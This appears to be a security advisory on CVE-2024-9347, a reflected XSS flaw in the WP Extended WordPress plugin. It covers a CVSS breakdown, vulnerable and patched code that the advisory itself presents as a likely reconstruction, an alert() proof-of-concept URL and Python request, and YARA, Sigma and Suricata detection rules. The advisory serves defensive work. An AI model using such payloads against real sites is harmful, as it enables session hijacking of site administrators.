CVE-2024-9347

Executive Summary

CVE-2024-9347 is a reflected Cross-Site Scripting (XSS) vulnerability in the WordPress plugin "The Ultimate WordPress Toolkit – WP Extended" (wp-extended). The flaw exists in all versions up to and including 3.0.9, and was also present in version 3.0.11 after a patch reversion. It was ultimately fixed in version 3.0.13. An unauthenticated attacker can inject arbitrary web scripts via the wpext-export parameter due to insufficient input sanitization and output escaping. Successful exploitation requires user interaction, such as clicking a crafted link. The CVSS score is 6.1 (Medium), and the EPSS score is 0.0%, indicating low exploitation likelihood at this time.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to update to version 3.0.13 or later. No malicious packages have been identified in the supply chain.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R)
• Scope: Changed (S:C)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

The threat level is Medium. While the vulnerability is easy to exploit, it requires user interaction and only allows limited impact on confidentiality and integrity.

Deep Dive & Mechanics

The vulnerability resides in the handling of the wpext-export parameter within the WP Extended plugin. The plugin fails to properly sanitize user input and escape output when reflecting this parameter back to the user. An attacker can craft a URL containing malicious JavaScript in the wpext-export parameter. When a victim clicks the link, the script executes in the context of the victim's browser session on the WordPress site.

The root cause is insufficient input validation and output escaping. The plugin likely uses $_GET['wpext-export'] directly without applying functions like esc_html() or sanitize_text_field() before outputting it in the HTML response.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 3.0.9):

// In some template or function
echo '<div>' . $_GET['wpext-export'] . '</div>';

Patched Code (version 3.0.13):

// Properly sanitize and escape
$export_param = sanitize_text_field( $_GET['wpext-export'] );
echo '<div>' . esc_html( $export_param ) . '</div>';

The patch ensures that the input is sanitized and then HTML-escaped before output, preventing script injection.

Exploitation & Lab Setup

Red Team

Proof of Concept (PoC): An attacker can craft a URL like:

http://target.com/wp-admin/admin.php?page=wp-extended&wpext-export=<script>alert('XSS')</script>

When a logged-in administrator clicks this link, the JavaScript executes.

Exploit Code:

import requests

target = "http://target.com/wp-admin/admin.php"
params = {
    "page": "wp-extended",
    "wpext-export": "<script>alert('XSS')</script>"
}
# This is a reflected XSS, so the response will contain the payload
response = requests.get(target, params=params)
print(response.text)

Blue Team

Detection: Monitor for requests to wp-admin/admin.php with the page=wp-extended parameter and suspicious wpext-export values containing <script> tags or other HTML/JavaScript.

Lab Setup:

1. Install WordPress and the WP Extended plugin version 3.0.9.
2. Create a test user with admin privileges.
3. Use the PoC URL to trigger the XSS.
4. Observe the alert box or script execution.

Indicators of Compromise (IOCs)

• URL Pattern: wp-admin/admin.php?page=wp-extended&wpext-export=*
• HTTP Request Parameter: wpext-export containing <script> tags or encoded JavaScript.
• Referer Header: May contain the malicious URL.
• User-Agent: Standard browser user agents (no specific pattern).
• Log Entries: Access logs showing requests to admin.php with wpext-export parameter.

Detection Engineering

YARA Rule

rule CVE_2024_9347_WP_Extended_XSS {
    meta:
        description = "Detects reflected XSS attempts against WP Extended plugin"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-9347"
    strings:
        $param = "wpext-export="
        $script = /<script[^>]*>.*<\/script>/i
        $onload = /onload\s*=/i
        $onerror = /onerror\s*=/i
    condition:
        $param and ($script or $onload or $onerror)
}

Sigma Rule

title: Reflected XSS via WP Extended Plugin
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects reflected XSS attempts against WP Extended plugin using wpext-export parameter
author: Valters IT
date: 2024-10-27
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: "wpext-export="
        cs-uri-query|contains|all:
            - "<script"
            - ">"
    condition: selection
falsepositives:
    - Legitimate use of the parameter with non-malicious content
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-9347 WP Extended Reflected XSS Attempt"; flow:to_server; content:"wpext-export="; http_uri; pcre:"/<script[^>]*>.*<\/script>/iU"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Update the WP Extended plugin to version 3.0.13 or later.
2. Virtual Patching: If immediate update is not possible, implement a WAF rule to block requests containing wpext-export with suspicious patterns (e.g., <script, onload=, onerror=).
3. Input Validation: Ensure all user-supplied parameters are sanitized and escaped before output.
4. User Awareness: Train users not to click on suspicious links, especially those containing query parameters.
5. Monitoring: Enable logging and monitoring for the IOCs mentioned above.

Valters IT